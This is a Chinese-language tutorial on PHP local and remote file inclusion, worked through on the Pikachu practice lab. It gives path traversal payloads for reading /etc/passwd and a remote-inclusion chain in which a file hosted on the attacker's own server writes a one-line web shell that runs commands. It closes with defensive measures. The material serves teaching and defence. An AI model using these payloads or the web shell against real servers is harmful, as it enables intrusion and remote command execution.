概述
簡介
在 Web 后台開發中,程序員往往為了提高效率以及讓代碼看起來更加簡潔,會使用 “包含” 函數功能。比如把一系列功能函數都寫進 function.php 中,之后當某個文件需要調用的時候直接在文件頭中寫上一句 <?php include function.php?>就可以調用函數。
但有些時候,因為網站功能需求,會讓前端用戶選擇需要包含的文件(或者在前端的功能中使用了“包含”功能),又由於開發人員沒有對要包含的這個文件進行安全考慮,就導致攻擊者可以通過修改文件的位置來讓后台執行任意文件(代碼)。
分為 本地文件包含 和 遠程文件包含 兩種。
包含函數
通過 include() 或者 require() 語句,可以將 PHP 文件的內容插入另一個 PHP 文件(在服務器執行它之前)
include 和 require 是相同的,除了錯誤處理方面:
- require 會生成致命錯誤( E_COMPILE_ERROR )並停止腳本
- include 只生成警告( E_WARNING ),並且腳本會繼續
本地文件包含
我們在 pikachu 平台上先對本地文件包含進行測試
可以看到是 傳了一個文件名到后台,后台會指定的目標文件進行對應的操作(這些文件都是后台自己存在的文件)
如果目標服務器在 Linux 上,我們可以 “../” 的方式進行目錄跳轉,讀取其他目錄下的文件,比如 /etc/passwd
../../../../../../../../etc/passwd
Windows 也可以用類似的方式
../../../../Windows/System32/drivers/etc/hosts
遠程文件包含
前提
遠程文件包含漏洞形式和本地文件包含漏洞差不多,在遠程文件包含漏洞中,攻擊者可以通過訪問外部地址來加載遠程代碼
遠程包含漏洞前提:如果使用 includer 和 require ,則需要 php.ini 配置如下
allow_url_fopen = on
allow_url_include = on
phpstudy 可以這樣子打開
遠程文件包含:寫入一句話木馬
在 Pikachu 上,遠程文件包含這里,同樣是通過傳遞一個文件名進行包含的
我們把它改成一個攻擊者服務器上的惡意代碼。
在 Kali 上,在 /var/www/html/ 中新建一個 yijuhua.txt,輸入下面的內容,並通過 service apache2 start 啟動 apache 服務
<?php $myfile = fopen("yijuhua.php", "w"); $txt = '<?php system($_GET[x]);?>'; fwrite($myfile, $txt); fclose($myfile); ?>
然后把 filename 后面的參數改成遠程文件的地址
http://192.168.171.133/pikachu/vul/fileinclude/fi_remote.php?filename=http://192.168.171.129/pikachu/yijuhua.txt&submit=提交
提交之后我們的遠程服務器上會多出一個文件,這個文件一般在同級目錄下
這時候我們就可以利用我們上傳的 php 文件進行相關的操作
http://192.168.171.133/pikachu/vul/fileinclude/yijuhua.php?x=ipconfig
防范措施
一般只有文件包含漏洞或者文件上傳漏洞是比較難利用的。但如果存在着兩個漏洞則可以配合使用。
如果服務器僅僅只允許上傳圖片,我們可以嘗試用圖片木馬的方式繞過檢查機制
- 制作一個圖片木馬,通過文件上傳漏洞上傳
- 通過文件包含漏洞對該圖片木馬進行“包含”
- 獲取執行結果
防范措施
- 在功能設計上盡量不要將文件包含函數對應的文件放給前端選擇和操作
- 過濾各種 ../../,http://,https://
- 配置 php.ini 配置文件
- allow_url_fopen = off
- allow_url_include = off
- magic_quotes_gpc = on
- 通過白名單策略,僅允許包含運行指定的文件,其他的都禁止